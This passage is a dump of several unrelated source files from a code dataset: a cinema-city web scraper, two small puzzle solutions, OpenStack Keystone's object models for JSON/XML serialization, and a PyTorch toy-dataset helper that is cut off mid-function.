+{"seq_id":"372514769","text":"# Developer: marcioz98\n\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\n\n\ndef get_cities():\n\n\turl = \"http://www.thespacecinema.it/portal/default/\"\n\n\tbrowser = webdriver.PhantomJS()\n\tbrowser.get(url)\n\n\tsoup = BeautifulSoup(browser.page_source, \"html.parser\")\n\n\tcities = soup.find_all('div', {'class' : 'colonna'})\n\n\tcity_list = []\n\tfor city in cities:\n\t\tcity_soup = BeautifulSoup(city.prettify(), \"html.parser\")\n\t\tcity = city_soup.find_all('a')\n\t\tfor city in city:\n\t\t\tfor city in city.text.replace(\"     \", \"\").replace(\"    \", \"\").split(\"\\n\"):\n\t\t\t\tif city != \"\":\n\t\t\t\t\tcity_list.append(city)\n\n\treturn city_list\n\n\nif __name__ == \"__main__\":\n\tcities = get_cities()\n\tprint(cities)\n\n\n","sub_path":"tpcityloader.py","file_name":"tpcityloader.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"86008664","text":"import sys\n\nsys.stdin = open(\"input_5356.txt\", \"r\")\n\ndef find():\n    result = []\n    for i in range(5):\n        while len(letters[i]) != 15:\n            letters[i].append(' ')\n    for q in range(15):\n        for p in range(5):\n            if letters[p][q] != ' ':\n                result.append(letters[p][q])\n    return ''.join(result)\n\nT = int(input())\nfor tc in range(T):\n    letters = [list(input()) for _ in range(5)]\n    print(\"#{} {}\".format(tc + 1, find()))\n","sub_path":"01_class/5356_세로로말해요.py","file_name":"5356_세로로말해요.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"636830826","text":"# vim: tabstop=4 shiftwidth=4 softtabstop=4\n#\n# Copyright (C) 2011 OpenStack LLC.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\" Module that contains all object models\n\nThe models are used to hold Keystone 'business' objects and their validation,\nserialization, and backend interaction code.\n\nThe models are based off of python's dict.\n\nThe uses supported are:\n    # can be initialized with static properties\n    tenant = Tenant(name='A1000')\n\n    # handles writing to correct backend\n    tenant.save()\n\n    # static properties\n    id = tenant.id\n    tenant = None\n\n    # Acts as a dict\n    tenant is a dict\n    tenant.dict points to the data dict (i.e. tenant[\"tenant\"])\n\n    # can be retrieved by static property\n    tenant_by_name = Tenant.get(name='A1000')\n\n    # can be retrieved  by id default, so name not needed\n    tenant_by_id = Tenant.get(id)\n    assertIsEquals(tenant_by_id, tenant_by_name)\n\n    # handles serialization\n    print tenant_by_id\n    print tenant_by_id.to_json()    # Keystone latest contract\n    print tenant_by_id.to_json_20()  # Keystone 2.0 contract\n\n    Serialization routines can take hints in this format:\n        {\n            \"contract_attributes\": [\"id\", \"name\", ...],\n            \"types\": [(\"id\", int), (...)]\n        }\n        attribute/value can be:\n        contract_attributes: list of contract attributes (see initializer)\n            format is a list of attributes names (ex ['id', 'name'])\n        types: list of attribute/type mappings\n            format is a list of name/type tuples (ex [('id', int)])\n        tags: list of attributes that go into XML tags\n            format is a list of attribute names(ex ['description']\n        maps: list of attributes to rename\n            format is from/to values (ex {'serviceId\": \"service_id\",})\n    Default hints can be stored in the class as cls.hints\n\"\"\"\n\nimport json\nfrom lxml import etree\n\nfrom keystone import utils\nfrom keystone.utils import fault\n\n\nclass AttrDict(dict):\n    \"\"\"Lets us do setattr and getattr since dict does not allow it\"\"\"\n    pass\n\n\nclass Resource(AttrDict):\n    \"\"\" Base class for models\n\n    Provides basic functionality that can be overridden \"\"\"\n\n    hints = {}\n    xmlns = None\n\n    def __init__(self, *args, **kw):\n        \"\"\" Initialize object\n        kwargs contain static properties\n        \"\"\"\n        super(Resource, self).__init__(*args, **kw)\n        # attributes that can be used as attributes. Example:\n        #    tenant.id  - here id is a contract attribute\n        super(Resource, self).__setattr__(\"contract_attributes\", [])\n        if kw:\n            self.contract_attributes.extend(kw.keys())\n            for name, value in kw.iteritems():\n                self[name] = value\n\n    #\n    # model properties\n    #\n    # Override built-in classes to allow for user.id (as well as user[\"id\"])\n    # for attributes defined in the Keystone contract\n    #\n    def __repr__(self):\n        return \"<%s(%s)>\" % (self.__class__.__name__, ', '.join(['%s=%s' %\n                (attrib, self[attrib].__repr__()) for attrib in\n                self.contract_attributes]))\n\n    def __str__(self):\n        \"\"\"Returns string representation including the class name.\"\"\"\n        return str(self.to_dict())\n\n    def __getattr__(self, name):\n        \"\"\" Supports reading contract attributes (ex. tenant.id)\n\n        This should only be called if the original call did not match\n        an attribute (Python's rules)\"\"\"\n        if name in self.contract_attributes:\n            if name in self:\n                return self[name]\n            return None\n        elif name == 'desc':  # TODO(zns): deprecate this\n            # We need to maintain this compatibility with this nasty attribute\n            # until we're done refactoring\n            return self.description\n        else:\n            if hasattr(super(Resource, self), name):\n                return getattr(super(Resource, self), name)\n            else:\n                raise AttributeError(\"'%s' not found on object of class '%s'\"\n                                     % (name, self.__class__.__name__))\n\n    def __setattr__(self, name, value):\n        \"\"\" Supports setting contract attributes (ex. tenant.name = 'A1') \"\"\"\n\n        if name in self.contract_attributes:\n            # Put those into the dict (and not as attrs)\n            if value is not None:\n                self[name] = value\n        else:\n            super(Resource, self).__setattr__(name, value)\n\n    def __getitem__(self, name):\n        if name in self.contract_attributes:\n            if super(Resource, self).__contains__(name):\n                return super(Resource, self).__getitem__(name)\n            return None\n        elif name == 'desc':  # TODO(zns): deprecate this\n            # We need to maintain this compatibility with this nasty attribute\n            # until we're done refactoring\n            return self.description\n        elif name == self.__class__.__name__.lower():\n            # Supports using dict syntax to access the attributes of the\n            # class. Ex: Resource(id=1)['resource']['id']\n            return self\n        else:\n            return super(Resource, self).__getitem__(name)\n\n    def __contains__(self, key):\n        if key in self.contract_attributes:\n            return True\n        return super(Resource, self).__contains__(key)\n\n    #\n    # Serialization Functions - may be moved to a different class\n    #\n    def to_dict(self, model_name=None, hints=None):\n        \"\"\" For compatibility with logic.types \"\"\"\n        if model_name is None:\n            model_name = self.__class__.__name__.lower()\n        result = self.strip_null_fields(self.copy())\n        if hints is None:\n            hints = self.hints\n        if hints:\n            if \"types\" in hints:\n                Resource.apply_type_mappings(\n                    result,\n                    hints[\"types\"])\n            if \"maps\" in hints:\n                Resource.apply_name_mappings(\n                    result,\n                    hints[\"maps\"])\n        return {model_name: result}\n\n    def to_json(self, hints=None, model_name=None):\n        \"\"\" Serializes object to json - implies latest Keystone contract \"\"\"\n        d = self.to_dict(model_name=model_name)\n        if hints is None:\n            hints = self.hints\n        if hints:\n            if \"types\" in hints:\n                Resource.apply_type_mappings(\n                    d[model_name or self.__class__.__name__.lower()],\n                    hints[\"types\"])\n            if \"maps\" in hints:\n                Resource.apply_name_mappings(\n                    d[model_name or self.__class__.__name__.lower()],\n                    hints[\"maps\"])\n        return json.dumps(d)\n\n    def to_xml(self, hints=None, model_name=None):\n        \"\"\" Serializes object to XML string\n            - implies latest Keystone contract\n            :param hints: see introduction on format\"\"\"\n        if hints is None:\n            hints = self.hints\n        dom = self.to_dom(hints=hints, model_name=model_name)\n        return etree.tostring(dom)\n\n    def to_dom(self, xmlns=None, hints=None, model_name=None):\n        \"\"\" Serializes object to XML objec\n        - implies latest Keystone contract\n        :param xmlns: accepts an optional namespace for XML\n        :param tags: accepts a list of attribute names that should go into XML\n        tags instead of attributes\n        \"\"\"\n        if xmlns is None:\n            xmlns = self.xmlns\n        if hints is None:\n            hints = self.hints\n        if model_name is None:\n            model_name = self.__class__.__name__.lower()\n        if xmlns:\n            dom = etree.Element(model_name, xmlns=xmlns)\n        else:\n            dom = etree.Element(model_name)\n        Resource.write_dict_to_xml(self, dom, hints)\n        return dom\n\n    #\n    # Deserialization functions\n    #\n    @classmethod\n    def from_json(cls, json_str, hints=None, model_name=None):\n        \"\"\" Deserializes object from json - assumes latest Keystone\n        contract\n        \"\"\"\n        if hints is None:\n            hints = cls.hints\n        try:\n            obj = json.loads(json_str)\n            if model_name is None:\n                model_name = cls.__name__.lower()\n            if model_name in obj:\n                # Ignore class name if it is there\n                obj = obj[model_name]\n            if hints and ('maps' in hints):\n                name_mappings = hints['maps']\n                if name_mappings:\n                    Resource.reverse_name_mappings(obj, name_mappings)\n            model_object = None\n            if hints:\n                if 'contract_attributes' in hints:\n                    # build mapping and instantiate object with\n                    # contract_attributes provided\n                    params = {}\n                    for name in hints['contract_attributes']:\n                        if name in obj:\n                            params[name] = obj[name]\n                        else:\n                            params[name] = None\n                    model_object = cls(**params)\n            if model_object is None:\n                model_object = cls()\n            model_object.update(obj)\n\n            if hints and ('types' in hints):\n                type_mappings = hints['types']\n                Resource.apply_type_mappings(model_object, type_mappings)\n            return model_object\n        except (ValueError, TypeError) as e:\n            raise fault.BadRequestFault(\"Cannot parse '%s' json\" % \\\n                                        cls.__name__, str(e))\n\n    @classmethod\n    def from_xml(cls, xml_str, hints=None):\n        \"\"\" Deserializes object from XML - assumes latest Keystone\n        contract \"\"\"\n        if hints is None:\n            hints = cls.hints\n        try:\n            object = etree.fromstring(xml_str)\n            model_object = None\n            type_mappings = None\n            name_mappings = None\n            if hints:\n                if 'types' in hints:\n                    type_mappings = hints['types']\n                if 'contract_attributes' in hints:\n                    # build mapping and instantiate object with\n                    # contract_attributes provided\n                    params = {}\n                    for name in hints['contract_attributes']:\n                        params[name] = object.get(name, None)\n                    model_object = cls(**params)\n                if 'maps' in hints:\n                    name_mappings = hints['maps']\n            if model_object is None:\n                model_object = cls()\n            cls.write_xml_to_dict(object, model_object)\n            if type_mappings:\n                Resource.apply_type_mappings(model_object, type_mappings)\n            if name_mappings:\n                Resource.reverse_name_mappings(model_object, name_mappings)\n            return model_object\n        except etree.LxmlError as e:\n            raise fault.BadRequestFault(\"Cannot parse '%s' xml\" % cls.__name__,\n                                        str(e))\n\n    #\n    # Validation calls\n    #\n    def validate(self):\n        \"\"\" Validates object attributes. Raises error if object not valid\n\n        This calls inspect() in fail_fast mode, so it gets back the first\n        validation error and raises it. It is up to the code in inspect()\n        to determine what validations take precedence and are returned\n        first\n\n        :returns: True if no validation errors raise\"\"\"\n        errors = self.inspect(fail_fast=True)\n        if errors:\n            raise errors[0][0](errors[0][1])\n        return True\n\n    # pylint: disable=W0613, R0201\n    def inspect(self, fail_fast=None):\n        \"\"\" Validates and retuns validation results without raising any errors\n        :param fail_fast\" return after first validation failure\n\n        :returns: [(faultClass, message), ...], ordered by relevance\n            - if None, then no errors found\n        \"\"\"\n        return []\n\n    #\n    # Formatting, hint processing functions\n    #\n\n    @staticmethod\n    def strip_null_fields(dict_object):\n        \"\"\" Strips null fields from dict\"\"\"\n        for k, v in dict_object.items():\n            if v is None:\n                del dict_object[k]\n        return dict_object\n\n    @staticmethod\n    def write_dict_to_xml(dict_object, xml, hints=None):\n        \"\"\" Attempts to convert a dict into XML as best as possible.\n        Converts named keys and attributes and recursively calls for\n        any values are are embedded dicts\n\n        :param hints: handles tags (a list of attribute names that should go\n            into XML tags instead of attributes) and maps\n        \"\"\"\n        tags = []\n        rename = []\n        maps = {}\n        if hints is not None:\n            if 'tags' in hints:\n                tags = hints['tags']\n            if 'maps' in hints:\n                maps = hints['maps']\n                rename = maps.values()\n        for name, value in dict_object.iteritems():\n            if name in rename:\n                name = maps.keys()[rename.index(name)]\n            if isinstance(value, dict):\n                element = etree.SubElement(xml, name)\n                Resource.write_dict_to_xml(value, element)\n            elif name in tags:\n                element = xml.find(name)\n                if isinstance(value, dict):\n                    if element is None:\n                        element = etree.SubElement(xml, name)\n                    Resource.write_dict_to_xml(value, element)\n                else:\n                    if value is not None:\n                        if element is None:\n                            element = etree.SubElement(xml, name)\n                        element.text = str(value)\n            else:\n                if value is not None:\n                    if isinstance(value, dict):\n                        Resource.write_dict_to_xml(value, xml)\n                    elif isinstance(value, bool):\n                        xml.set(name, str(value).lower())\n                    else:\n                        xml.set(name, str(value))\n                else:\n                    if name in xml:\n                        del xml.attrib[name]\n\n    @staticmethod\n    def write_xml_to_dict(xml, dict_object):\n        \"\"\" Attempts to update a dict with XML as best as possible.\"\"\"\n        for key, value in xml.items():\n            dict_object[key] = value\n        for element in xml.iterdescendants():\n            name = element.tag\n            if \"}\" in name:\n                #trim away namespace if it is there\n                name = name[name.rfind(\"}\") + 1:]\n            if element.attrib == {}:\n                dict_object[name] = element.text\n            else:\n                dict_object[name] = {}\n                Resource.write_xml_to_dict(element, dict_object[element.tag])\n\n    @staticmethod\n    def apply_type_mappings(target, type_mappings):\n        \"\"\"Applies type mappings to dict values\"\"\"\n        if type_mappings:\n            for name, type in type_mappings:\n                if type is int:\n                    target[name] = int(target[name])\n                elif issubclass(type, basestring):\n                    # Move sub to string\n                    if name in target:\n                        value = target[name]\n                        if isinstance(value, dict):\n                            value = value[0]\n                        if value:\n                            target[name] = str(value)\n                elif type is bool:\n                    target[name] = str(target[name]).lower() not in ['0',\n                                                                     'false']\n                else:\n                    raise NotImplementedError(\"Model type mappings cannot \\\n                                handle '%s' types\" % type.__name__)\n\n    @staticmethod\n    def apply_name_mappings(target, name_mappings):\n        \"\"\" Applies name mappings to dict values \"\"\"\n        if name_mappings:\n            for outside, inside in name_mappings.iteritems():\n                if inside in target:\n                    target[outside] = target.pop(inside)\n\n    @staticmethod\n    def reverse_name_mappings(target, name_mappings):\n        \"\"\" Extracts names from mappings to dict values \"\"\"\n        if name_mappings:\n            for outside, inside in name_mappings.iteritems():\n                if outside in target:\n                    target[inside] = target.pop(outside)\n\n    #\n    # Backend management\n    #\n    def save(self):\n        \"\"\" Handles finding correct backend and writing to it\n        Supports both saving new object (create) and updating an existing one\n        \"\"\"\n        #if self.status == 'new':\n        #    #backends[find the class].create(self)\n        #elif self.status == 'existing':\n        #    #backends[find the class].update(self)\n        pass\n\n    def delete(self):\n        \"\"\" Handles finding correct backend and deleting object from it \"\"\"\n        pass\n\n    @classmethod\n    def get(cls, id=None, *args, **kw):\n        # backends[find the class].get(id, *args, **kw)\n        return cls(*args, **kw)\n\n\nclass Service(Resource):\n    \"\"\" Service model \"\"\"\n    def __init__(self, id=None, name=None, type=None, description=None,\n                 owner_id=None, *args, **kw):\n        super(Service, self).__init__(id=id, name=name, type=type,\n                                      description=description,\n                                      owner_id=owner_id, *args, **kw)\n        # pylint: disable=E0203\n        if isinstance(self.id, int):\n            self.id = str(self.id)\n\n    def to_dict(self, model_name=None):\n        if model_name is None:\n            model_name = 'OS-KSADM:service'\n        return super(Service, self).to_dict(model_name=model_name)\n\n    def to_dom(self, xmlns=None, hints=None, model_name=None):\n        if xmlns is None:\n            xmlns = \"http://docs.openstack.org/identity/api/ext/OS-KSADM/v1.0\"\n        return super(Service, self).to_dom(xmlns, hints=hints,\n                                           model_name=model_name)\n\n    @classmethod\n    def from_json(cls, json_str, hints=None, model_name=None):\n        if model_name is None:\n            model_name = 'OS-KSADM:service'\n        result = super(Service, cls).from_json(json_str, hints=hints,\n                                              model_name=model_name)\n        result.validate()  # TODO(zns): remove; compatibility with logic.types\n        return result\n\n    @classmethod\n    def from_xml(cls, xml_str, hints=None):\n        result = super(Service, cls).from_xml(xml_str, hints=hints)\n        result.validate()  # TODO(zns): remove; compatibility with logic.types\n        return result\n\n    def inspect(self, fail_fast=None):\n        result = super(Service, self).inspect(fail_fast)\n        if fail_fast and result:\n            return result\n\n        # Check that fields are valid\n        invalid = [key for key in result if key not in\n                   ['id', 'name', 'type', 'description', 'owner_id']]\n        if invalid:\n            result.append((fault.BadRequestFault, \"Invalid attribute(s): %s\"\n                                        % invalid))\n            if fail_fast:\n                return result\n\n        if utils.is_empty_string(self.name):\n            result.append((fault.BadRequestFault, \"Expecting Service Name\"))\n            if fail_fast:\n                return result\n\n        if utils.is_empty_string(self.type):\n            result.append((fault.BadRequestFault, \"Expecting Service Type\"))\n            if fail_fast:\n                return result\n        return result\n\n\nclass Services(object):\n    \"A collection of services.\"\n\n    def __init__(self, values, links):\n        self.values = values\n        self.links = links\n\n    def to_xml(self, model_name=None):\n        dom = etree.Element(\"services\")\n        dom.set(u\"xmlns\",\n            \"http://docs.openstack.org/identity/api/ext/OS-KSADM/v1.0\")\n\n        for t in self.values:\n            dom.append(t.to_dom(model_name=model_name))\n\n        for t in self.links:\n            dom.append(t.to_dom(model_name=model_name))\n\n        return etree.tostring(dom)\n\n    def to_json(self, model_name=None):\n        services = [t.to_dict()[\"OS-KSADM:service\"]\n                    for t in self.values]\n        services_links = [t.to_dict()[\"links\"]\n                    for t in self.links]\n        return json.dumps({\"OS-KSADM:services\": services,\n            \"OS-KSADM:services_links\": services_links})\n\n\nclass Tenant(Resource):\n    \"\"\" Tenant model \"\"\"\n    # pylint: disable=E0203,C0103\n    def __init__(self, id=None, name=None, description=None, enabled=None,\n                 *args, **kw):\n        super(Tenant, self).__init__(id=id, name=name,\n                                      description=description, enabled=enabled,\n                                      *args, **kw)\n        if isinstance(self.id, int):\n            self.id = str(self.id)\n        if isinstance(self.enabled, basestring):\n            self.enabled = self.enabled.lower() == 'true'\n\n    @classmethod\n    def from_xml(cls, xml_str, hints=None):\n        if hints is None:\n            hints = {}\n        if 'contract_attributes' not in hints:\n            hints['contract_attributes'] = ['id', 'name', 'description',\n                                           'enabled']\n        if 'tags' not in hints:\n            hints['tags'] = [\"description\"]\n        return super(Tenant, cls).from_xml(xml_str, hints=hints)\n\n    def to_dom(self, xmlns=None, hints=None, model_name=None):\n        if hints is None:\n            hints = {}\n        if 'tags' not in hints:\n            hints['tags'] = [\"description\"]\n        if xmlns is None:\n            xmlns = \"http://docs.openstack.org/identity/api/v2.0\"\n\n        return super(Tenant, self).to_dom(xmlns=xmlns, hints=hints,\n                                          model_name=model_name)\n\n    def to_xml(self, hints=None, model_name=None):\n        if hints is None:\n            hints = {}\n        if 'tags' not in hints:\n            hints['tags'] = [\"description\"]\n        return super(Tenant, self).to_xml(hints=hints, model_name=model_name)\n\n    def to_json(self, hints=None, model_name=None):\n        if hints is None:\n            hints = {}\n        return super(Tenant, self).to_json(hints=hints, model_name=model_name)\n\n\nclass User(Resource):\n    \"\"\" User model\n\n    Attribute Notes:\n    default_tenant_id (formerly tenant_id): this attribute can be enabled or\n        disabled by configuration. When enabled, any authentication call\n        without a tenant gets authenticated to this tenant.\n    \"\"\"\n    # pylint: disable=R0913\n    def __init__(self, id=None, password=None, name=None,\n                 tenant_id=None,\n                 email=None, enabled=None,\n                 *args, **kw):\n        super(User, self).__init__(id=id, password=password, name=name,\n                        tenant_id=tenant_id, email=email,\n                        enabled=enabled, *args, **kw)\n\n    def to_json(self, hints=None, model_name=None):\n        results = super(User, self).to_json(hints, model_name=model_name)\n        assert 'password\":' not in results\n        return results\n\n    def to_xml(self, hints=None):\n        results = super(User, self).to_xml(hints)\n        assert 'password\"=' not in results\n        return results\n\n\nclass EndpointTemplate(Resource):\n    \"\"\" EndpointTemplate model \"\"\"\n    # pylint: disable=R0913\n    def __init__(self, id=None, region=None, service_id=None, public_url=None,\n            admin_url=None, internal_url=None, enabled=None, is_global=None,\n            version_id=None, version_list=None, version_info=None, *args,\n            **kw):\n        super(EndpointTemplate, self).__init__(id=id, region=region,\n                service_id=service_id, public_url=public_url,\n                admin_url=admin_url, internal_url=internal_url,\n                enabled=enabled, is_global=is_global, version_id=version_id,\n                version_list=version_list, version_info=version_info, *args,\n                **kw)\n\n\nclass Endpoint(Resource):\n    \"\"\" Endpoint model \"\"\"\n    # pylint: disable=R0913\n    def __init__(self, id=None, endpoint_template_id=None, tenant_id=None,\n            *args, **kw):\n        super(Endpoint, self).__init__(id=id, tenant_id=tenant_id,\n                endpoint_template_id=endpoint_template_id, *args, **kw)\n\n\nclass Role(Resource):\n    \"\"\" Role model \"\"\"\n    hints = {\"maps\":\n                {\"userId\": \"user_id\",\n                \"roleId\": \"role_id\",\n                \"serviceId\": \"service_id\",\n                \"tenantId\": \"tenant_id\"},\n            \"contract_attributes\": ['id', 'name', 'service_id',\n                                           'tenant_id', 'description'],\n            \"types\": [('id', basestring), ('service_id', basestring)],\n        }\n    xmlns = \"http://docs.openstack.org/identity/api/v2.0\"\n\n    def __init__(self, id=None, name=None, description=None, service_id=None,\n                 tenant_id=None, *args, **kw):\n        super(Role, self).__init__(id=id, name=name,\n                                   description=description,\n                                   service_id=service_id,\n                                   tenant_id=tenant_id,\n                                    *args, **kw)\n        # pylint: disable=E0203\n        if isinstance(self.id, int):\n            self.id = str(self.id)\n        # pylint: disable=E0203\n        if isinstance(self.service_id, int):\n            self.service_id = str(self.service_id)\n\n    @classmethod\n    def from_json(cls, json_str, hints=None, model_name=None):\n        # Check that fields are valid\n        role = json.loads(json_str)\n        if model_name is None:\n            model_name = \"role\"\n        if model_name in role:\n            role = role[model_name]\n\n        invalid = [key for key in role if key not in\n                   ['id', 'name', 'description', 'serviceId',\n                    # TODO(zns): remove those when we separate grants\n                    # from Roles\n                    'tenantId', 'userId']]\n        if invalid:\n            raise fault.BadRequestFault(\"Invalid attribute(s): %s\"\n                                        % invalid)\n\n        return super(Role, cls).from_json(json_str, hints=hints,\n                                          model_name=model_name)\n\n\nclass Roles(object):\n    \"A collection of roles.\"\n\n    def __init__(self, values, links):\n        self.values = values\n        self.links = links\n\n    def to_xml(self):\n        dom = etree.Element(\"roles\")\n        dom.set(u\"xmlns\", \"http://docs.openstack.org/identity/api/v2.0\")\n\n        for t in self.values:\n            dom.append(t.to_dom())\n\n        for t in self.links:\n            dom.append(t.to_dom())\n\n        return etree.tostring(dom)\n\n    def to_dom(self):\n        dom = etree.Element(\"roles\")\n        dom.set(u\"xmlns\", \"http://docs.openstack.org/identity/api/v2.0\")\n\n        if self.values:\n            for t in self.values:\n                dom.append(t.to_dom())\n\n        if self.links:\n            for t in self.links:\n                dom.append(t.to_dom())\n\n        return dom\n\n    def to_json(self):\n        values = [t.to_dict()[\"role\"]\n                  for t in self.values]\n        links = [t.to_dict()[\"links\"]\n                 for t in self.links]\n        model_name = \"roles\"\n        return json.dumps({model_name: values,\n            (\"%s_links\" % model_name): links})\n\n    def to_json_values(self):\n        values = [t.to_dict()[\"role\"] for t in self.values]\n        return values\n\n\nclass Token(Resource):\n    \"\"\" Token model \"\"\"\n    def __init__(self, id=None, user_id=None, expires=None, tenant_id=None,\n            *args, **kw):\n        super(Token, self).__init__(id=id, user_id=user_id, expires=expires,\n                                    tenant_id=tenant_id, *args, **kw)\n\n\nclass UserRoleAssociation(Resource):\n    \"\"\" Role Grant model \"\"\"\n\n    hints = {\n        'contract_attributes': ['id', 'role_id', 'user_id', 'tenant_id'],\n        'types': [('user_id', basestring), ('tenant_id', basestring)],\n        'maps': {'userId': 'user_id', 'roleId': 'role_id',\n                'tenantId': 'tenant_id'}\n    }\n\n    def __init__(self, user_id=None, role_id=None, tenant_id=None,\n                 *args, **kw):\n        # pylint: disable=E0203\n        super(UserRoleAssociation, self).__init__(user_id=user_id,\n                                    role_id=role_id, tenant_id=tenant_id,\n                                    *args, **kw)\n        if isinstance(self.user_id, int):\n            # pylint: disable=E0203\n            self.user_id = str(self.user_id)\n        if isinstance(self.tenant_id, int):\n            self.tenant_id = str(self.tenant_id)\n\n    def to_json(self, hints=None, model_name=None):\n        if model_name is None:\n            model_name = \"role\"\n        return super(UserRoleAssociation, self).to_json(hints=hints,\n                                                        model_name=model_name)\n\n    def to_xml(self, hints=None, model_name=None):\n        if model_name is None:\n            model_name = \"role\"\n        return super(UserRoleAssociation, self).to_xml(hints=hints,\n                                                       model_name=model_name)\n\n\nclass Credentials(Resource):\n    # pylint: disable=R0913\n    def __init__(self, id=None, user_id=None, tenant_id=None, type=None,\n            key=None, secret=None, *args, **kw):\n        super(Credentials, self).__init__(id=id, user_id=user_id,\n            tenant_id=tenant_id, type=type, key=key, secret=secret, *args,\n            **kw)\n","sub_path":"keystone/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":29982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"652019330","text":"class Solution:\n    def findErrorNums(self, nums):\n        n = len(nums)\n        nums = sorted(nums)\n        original = [i for i in range(1, n+1)]\n        \n        diff = list(set(original) - set(nums))\n        \n        for j in range(1, n):\n            if nums[j] == nums[j-1]:\n                return [nums[j], diff[0]]\n","sub_path":"python/645 Set Mismatch.py","file_name":"645 Set Mismatch.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"604556219","text":"from math import inf\n\nimport matplotlib\nimport numpy as np\nimport sklearn.datasets\nimport torch\nfrom matplotlib import pyplot as plt\nfrom matplotlib.colors import LinearSegmentedColormap\nfrom torch.utils import data\n\nimport sys, os\nSEED = 0\n\n# Disable printing while visualization\ndef disable_print():\n    sys.stdout = open(os.devnull, 'w')\n\n# Restore printing\ndef enable_print():\n    sys.stdout = sys.__stdout__\n    \ndef generate_dataset(name, n_samples=200):\n    \"\"\"\n    Generate a random dataset with any of the predefined structures\n    `blobs`, `moons`, `circles`, `bar`, or `xor`\n    \"\"\"\n    # Use Scikit-Learn's make_* functions to generate the samples\n    if name == \"blobs\":\n        coordinates, labels = sklearn.datasets.make_blobs(n_samples=n_samples, centers=2, random_state = SEED)\n    elif name == \"moons\":\n        coordinates, labels = sklearn.datasets.make_moons(n_samples=n_samples, random_state = SEED)\n        coordinates[labels == 1] += 0.1\n        coordinates[labels == 0] -= 0.1\n    elif name == \"circles\":\n        coordinates, labels = sklearn.datasets.make_circles(n_samples=n_samples, random_state = SEED)\n        coordinates[labels == 1] *= 0.5\n    elif name == \"bar\":\n        # coordinates = np.random.rand(n_samples, 2) * 2 - 1  # range -1 to 1\n\n        x_coordinate, y_coordinate = np.meshgrid(\n            np.linspace(-1, 1, 12, dtype=np.float32),\n            np.linspace(-1, 1, 6, dtype=np.float32),\n        )\n        coordinates = np.stack([x_coordinate.reshape(-1), y_coordinate.reshape(-1)], axis=-1)\n        n_samples = len(coordinates)\n\n        l1norm = np.linalg.norm(coordinates, ord=inf, axis=1)\n        labels = np.ones_like(l1norm).astype(np.int64)\n        labels[np.abs(coordinates[:, 0]) < 0.1] = 0\n    elif name == \"xor\":\n        np.random.seed(SEED)\n        coordinates = np.random.rand(n_samples, 2)\n\n        # Create a small gap between the classes\n        gap_size = 0\n        coordinates[coordinates[:, 0] > 0.5, 0] += gap_size * 0.5\n        coordinates[coordinates[:, 0] < 0.5, 0] -= gap_size * 0.5\n        coordinates[coordinates[:, 1] > 0.5, 1] += gap_size * 0.5\n        coordinates[coordinates[:, 1] < 0.5, 1] -= gap_size * 0.5\n\n        labels = np.logical_xor(coordinates[:, 0] > 0.5, coordinates[:, 1] > 0.5).astype(np.int64)\n        noisy_index = np.where(np.random.binomial(1, 0.1, size = len(coordinates)))[0]\n        coordinates[noisy_index] += np.random.laplace(0, 0.1, [len(noisy_index), 2])\n\n    else:\n        raise ValueError(\"Unknown dataset name {}\".format(name))\n\n    # Convert to PyTorch\n    coordinates = coordinates.astype(np.float32)\n    coordinates = torch.from_numpy(coordinates)\n    labels = torch.from_numpy(labels)\n\n    # Normalize the range of coordinates to be 0 to 1\n    coordinates -= torch.min(coordinates, 0, keepdim=True)[0]\n    coordinates /= torch.max(coordinates, 0, keepdim=True)[0]\n\n    # Create a PyTorch dataset\n    dataset = data.TensorDataset(coordinates, labels)\n\n    # Split it 50/50 into train and test\n    train, test = torch.utils.data.random_split(dataset, [n_samples // 2, n_samples // 2])\n    return train, test\n\ndef visualize_one_dataset(dataset: data.Dataset, ax: matplotlib.axes.Axes):\n    for coordinate, label in dataset:\n        x, y = coordinate\n        color = {0: \"#bada55\", 1: \"#55bada\"}[label.item()]\n        marker = {0: \"+\", 1: \".\"}[label.item()]\n        ax.scatter(x, y, c=color, marker=marker)\n\n\ndef visualize_datasets(datasets):\n    f, axes = plt.subplots(2, len(datasets))\n    f.set_figheight(7)\n    f.set_figwidth(14)\n    axes[0][0].set_ylabel(\"Training\")\n    axes[1][0].set_ylabel(\"Test\")\n    for i, (name, train_set, test_set) in enumerate(datasets):\n        visualize_one_dataset(train_set, ax=axes[0][i])\n        visualize_one_dataset(test_set, ax=axes[1][i])\n        axes[0][i].set_title(name)\n    plt.show()\n\n#%% Visualize the predictions of a model on a grid\ndef predict_grid(model, ax, xmin=-0.1, xmax=1.1, ymin=-0.1, ymax=1.1, num_grid_points=40):\n    x_coordinate, y_coordinate = np.meshgrid(\n        np.linspace(xmin, xmax, num_grid_points, dtype=np.float32),\n        np.linspace(ymin, ymax, num_grid_points, dtype=np.float32),\n    )\n    x_coordinate = torch.from_numpy(x_coordinate)\n    y_coordinate = torch.from_numpy(y_coordinate)\n    coordinates = torch.stack([x_coordinate.view(-1), y_coordinate.view(-1)], dim=-1)\n    predictions = torch.nn.functional.softmax(model(coordinates), dim=1)[:, 1]\n\n    predictions = predictions.view(*x_coordinate.shape).detach()\n    cmap = LinearSegmentedColormap.from_list(\"bada55_dark\", [\"#4d5b23\", \"#234d5b\"], N=100)\n    ax.pcolormesh(x_coordinate, y_coordinate, predictions, cmap=cmap)    \n\ndef visualize_predictions(datasets, model, optimize):\n    f, axes = plt.subplots(3, len(datasets))\n    f.set_figheight(10)\n    f.set_figwidth(14)\n    axes[0][0].set_ylabel(\"Training\")\n    axes[1][0].set_ylabel(\"Test\")\n    axes[2][0].set_ylabel(\"Test Loss\")\n    for 